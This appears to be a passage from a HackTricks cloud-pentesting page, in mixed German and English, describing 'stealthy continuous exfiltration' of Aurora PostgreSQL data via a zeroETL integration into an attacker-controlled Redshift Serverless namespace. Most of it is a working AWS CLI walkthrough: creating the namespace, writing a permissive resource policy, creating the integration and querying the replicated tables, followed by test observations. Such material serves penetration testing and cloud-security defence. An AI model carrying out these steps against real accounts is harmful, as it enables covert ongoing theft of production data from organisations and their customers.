aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
Missbrauche die Aurora PostgreSQL zeroETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless Namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu Echtzeit-Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkzugriff.
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (zum Abfragen)
- `rds-data:ExecuteStatement` (optional; um bei Bedarf Daten einzuspielen)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Erstelle Redshift Serverless namespace + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
```
</details>
<details>
<summary>2) Redshift-Ressourcenrichtlinie konfigurieren, um die Aurora-Quelle zuzulassen</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
```
</details>
<details>
<summary>3) Aurora PostgreSQL-Cluster erstellen (Data API und logische Replikation aktivieren)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zeroETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
```
</details>
<details>
<summary>4) Erstelle die zeroETL-Integration von RDS</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
```
</details>
<details>
<summary>5) Replizierte Daten in Redshift materialisieren und abfragen</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration" # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
```
</details>
Beobachtete Hinweise im Test:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und den Zustand PendingDbConnectState vor der DB-Erstellung.
- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; eine Abfrage von ztl.customers gab 2 Zeilen zurück (Alice, Bob).
Auswirkung: Kontinuierliche nahezu Echtzeit-Exfiltration ausgewählter Aurora PostgreSQL-Tabellen in Redshift Serverless, kontrolliert vom Angreifer, ohne Verwendung von Datenbank-Anmeldeinformationen, Sicherungen oder Netzwerkzugriff auf den Quell-Cluster.
{{#include ../../../banners/hacktricks-training.md}}